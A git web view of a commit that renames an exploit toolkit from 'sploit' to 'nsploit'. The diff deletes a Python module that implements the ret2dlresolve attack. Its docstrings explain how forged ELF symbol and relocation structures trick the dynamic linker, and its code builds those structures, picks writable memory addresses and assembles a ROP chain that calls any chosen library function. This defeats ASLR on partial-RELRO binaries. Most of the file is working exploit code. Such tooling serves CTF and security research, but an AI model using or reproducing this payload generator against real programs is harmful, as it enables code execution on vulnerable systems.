summaryrefslogtreecommitdiffstats
path: root/sploit/payload/ret2dlresolve.py
diff options
context:
space:
mode:
authorMalfurious <m@lfurio.us>2025-01-02 19:17:34 -0500
committerMalfurious <m@lfurio.us>2025-01-04 23:54:51 -0500
commit0f00627964a4b2e515108401fa2cfe94600ad648 (patch)
tree56da2ccaf393a1124220cc187a7225a4efcfbcba /sploit/payload/ret2dlresolve.py
parent640726aa11369d328c1cdfe00b4344b6a925729c (diff)
downloadnsploit-0f00627964a4b2e515108401fa2cfe94600ad648.tar.gz
nsploit-0f00627964a4b2e515108401fa2cfe94600ad648.zip
Rename sploit package to nsploit
Rename all affected files, references to file paths, and module imports within the code. Since this line of development represents a fork from the original sploit, a name change is seen as necessary to distinguish the projects, as well as allow them to be installed side by side. What does the "n" mean? Great question! You can think of it as meaning "new sploit" if you want, though that's not quite intended. The name is simply distinct and easy to pronounce. I had originally settled on "msploit" (something along the lines of "Malf's sploit"), but this name is too close to "metasploit" for me - and N is right next to it on the keyboard. Signed-off-by: Malfurious <m@lfurio.us>
Diffstat (limited to 'sploit/payload/ret2dlresolve.py')
-rw-r--r--sploit/payload/ret2dlresolve.py226
1 files changed, 0 insertions, 226 deletions
diff --git a/sploit/payload/ret2dlresolve.py b/sploit/payload/ret2dlresolve.py
deleted file mode 100644
index 8862e22..0000000
--- a/sploit/payload/ret2dlresolve.py
+++ /dev/null
@@ -1,226 +0,0 @@
-"""
-Perform "Return to dlresolve" dynamic linker attack
-
-The ret2dlresolve technique is useful to defeat library ASLR against targets
-with partial relro (or less) and where no useable data leaks are available.
-This is specifically a workaround for ASLR of libraries such as libc, and
-addresses within the target executable are expected to be known (non-pic or
-otherwise).
-
-When a dynamic library call is performed normally, applications jump to code
-stubs in the .plt section to perform the actual relocation. This process relies
-on a couple of meta-data structures in the ELF object:
-
-Elf*_Rel: Contains a pointer to the corresponding GOT entry, which is used to
-cache the real subroutine address for later calls, as well as an info field
-describing the relocation. This info field contains a type subfield and an
-index into the ELF's symbol table for the symbol to be relocated.
-
-Elf*_Sym: Contains all the data relevant to the symbol. For the purposes of the
-exploit, only the symbol name field is utilized (the others are set to zeroes).
-The name field is an offset into the ELF's string table, and the actual symbol
-name string can be found at this offset.
-
-All of the data tables mentioned above are located by their corresponding
-section in the ELF. The relocation process however does not perform any bounds
-checks to ensure the runtime data structures actually come from these sections.
-By forging custom structures, and ensuring they can be written into memory at
-precise locations, an attacker can trick the resolver to link any library
-function they desire by setting up the equivalent PLT function call via ROP.
-
-Read on for more background details:
-http://phrack.org/issues/58/4.html
-https://gist.github.com/ricardo2197/8c7f6f5b8950ed6771c1cd3a116f7e62
-
-Structure definitions from your standard elf.h header:
-
-typedef struct {
- Elf32_Word st_name; /* 4b Symbol name (string tbl index) */
- Elf32_Addr st_value; /* 4b Symbol value */
- Elf32_Word st_size; /* 4b Symbol size */
- unsigned char st_info; /* 1b Symbol type and binding */
- unsigned char st_other; /* 1b Symbol visibility */
- Elf32_Section st_shndx; /* 2b Section index */
-} Elf32_Sym;
-
-typedef struct {
- Elf64_Word st_name; /* 4b Symbol name (string tbl index) */
- unsigned char st_info; /* 1b Symbol type and binding */
- unsigned char st_other; /* 1b Symbol visibility */
- Elf64_Section st_shndx; /* 2b Section index */
- Elf64_Addr st_value; /* 8b Symbol value */
- Elf64_Xword st_size; /* 8b Symbol size */
-} Elf64_Sym;
-
-typedef struct {
- Elf32_Addr r_offset; /* 4b Address */
- Elf32_Word r_info; /* 4b Relocation type and symbol index */
-} Elf32_Rel;
-
-typedef struct {
- Elf64_Addr r_offset; /* 8b Address */
- Elf64_Xword r_info; /* 8b Relocation type and symbol index */
-} Elf64_Rel;
-
-Elf32_Rel.r_info = 0xAAAAAABB
- | |
- | type
- symidx
-
-Elf64_Rel.r_info = 0xAAAAAAAABBBBBBBB
- | |
- symidx type
-"""
-
-from sploit.arch import arch, itob
-from sploit.payload.gadhint import GadHint
-from sploit.payload.payload import Payload
-from sploit.payload.payload_entry import padalign, padlen, pointer
-from sploit.payload.rop import ROP
-from sploit.rev.r2 import run_cmd
-
-_JMP_SLOT = 0x07
-
-def _symsize():
- # Size of Elf*_Sym, used for padding and indexing
- if arch.wordsize == 4: return 16
- elif arch.wordsize == 8: return 24
- raise ValueError("Ret2dlresolve: Architecture wordsize unsupported")
-
-def _relsize():
- # Size of Elf*_Rel, used only for indexing on 64bit (32bit uses offset)
- if arch.wordsize == 4: return 1
- elif arch.wordsize == 8: return 24
- raise ValueError("Ret2dlresolve: Architecture wordsize unsupported")
-
-def _infoshift():
- # Partition subfields of Elf*_Rel.r_info
- if arch.wordsize == 4: return 8
- elif arch.wordsize == 8: return 32
- raise ValueError("Ret2dlresolve: Architecture wordsize unsupported")
-
-class Ret2dlresolve(ROP):
- # Use constructor from ROP class
-
- def reloc(self, symbol_name):
- """
- Generate relocation structures for the function with given symbol name.
-
- The returned data structures are packed into a single Payload object.
- This payload must be written into the target's memory before attempting
- to use it with Ret2dlresolve.call(). Furthermore, the chosen write
- location must be assigned to the payload base property, so that internal
- pointers may take on the appropriate values.
-
- See Ret2dlresolve.determine_address() for advice on choosing a write
- location.
-
- symbol_name (str): Name of library function to link
- """
- binary = self.objects[0]
- symtab = binary.sym.sect['.dynsym']
- strtab = binary.sym.sect['.dynstr']
-
- try:
- jmprel = binary.sym.sect['.rel.plt']
- except KeyError:
- jmprel = binary.sym.sect['.rela.plt']
-
- # Elf*_Rel.r_info
- info = lambda x: ((int(x - symtab) // _symsize()) << _infoshift()) | _JMP_SLOT
-
- # The sym structure is the most picky about its location in memory. So
- # it is listed first in the main dlres struct, which can be placed at
- # the desired location.
- sym = Payload()
- sym.name = pointer("symbol_string", lambda x: x - strtab)
- sym.pad = padlen(_symsize(), b"\x00")
- sym.symbol_string = symbol_name
-
- dlres = Payload()
- dlres.symalign = padalign(_symsize(), reference=symtab)
- dlres.sym = sym
- dlres.relalign = padalign(_relsize(), reference=jmprel)
- dlres.offset = pointer()
- dlres.info = pointer("sym", info)
- return dlres
-
- def determine_address(self, start=None, end=None, n=0):
- """
- Determine recommended address for relocation structures.
-
- There are a couple considerations to make when determining the memory
- locations. First of all, the location must be writable. More
- importantly, since most items are referred to by an array index, the
- structures themselves must be properly aligned, reference to the array
- origins.
-
- The payload returned from Ret2dlresolve.reloc() has some of these
- alignments built in, but one crucial one is not. The index implied by
- Elf*_Sym's offset from the symtab base is the same index used to lookup
- symbol version information, reference to versym. The data at this index
- must constitute a valid version half-word (16-bits). This function
- attempts to ensure that the coincident version info for any returned
- value is the data \x00\x00. Getting this wrong can cause the dlresolve
- routine to crash.
-
- start (int): Minimum address to recommend (default: .bss section address)
- end (int): Maximum address to recommend (default: end of memory page)
- n (int): Return the Nth useable address within the defined range
- """
- binary = self.objects[0]
- symtab = binary.sym.sect['.dynsym']
- versym = binary.sym.sect['.gnu.version']
- bss = binary.sym.sect['.bss']
-
- if start is None: start = bss
- if end is None: end = (start & ~0xfff) + 0x1000
-
- zero_words = run_cmd(binary.path, "/x 0000")
- zero_words = [ int(x.split(" ")[0], 0) for x in zero_words ]
-
- # Size of version entry is always 2 bytes.
- veroff = [ x - versym for x in zero_words ]
- idx = [ x//2 for x in veroff if x%2 == 0 ]
- symoff = [ x * _symsize() for x in idx ]
- addr = [ x + symtab for x in symoff ]
- addr = [ x for x in addr if start <= x < end ]
-
- if len(addr) > n:
- return addr[n]
-
- raise AssertionError("Ret2dlresolve: No suitable memory location")
-
- # Overrides ROP.call()
- def call(self, reloc, *params):
- """
- Return a ROP payload to call function via dynamic linker.
-
- reloc's base address must be set appropriately.
-
- reloc (Payload): Relocation payload obtained from Ret2dlresolve.reloc()
- *params (int): Remaining positional args are passed to function.
- """
- binary = self.objects[0]
- plt = binary.sym.sect['.plt']
-
- try:
- jmprel = binary.sym.sect['.rel.plt']
- except KeyError:
- jmprel = binary.sym.sect['.rela.plt']
-
- register_params = dict(zip(arch.funcargs, params))
- stack_params = params[len(register_params):]
- index = int(reloc.offset - jmprel) // _relsize()
-
- reqs = GadHint(requirements=register_params)
- call = GadHint(index, stack=stack_params)
- ret = GadHint(self.search_gadget(arch.ret))
-
- chain = Payload()
- try: chain.requirements = self.gadget(reqs).requirements
- except KeyError: pass
- chain.alignment = padalign(0, itob(ret))
- chain.plt = plt
- chain.call = self.gadget(call)
- return chain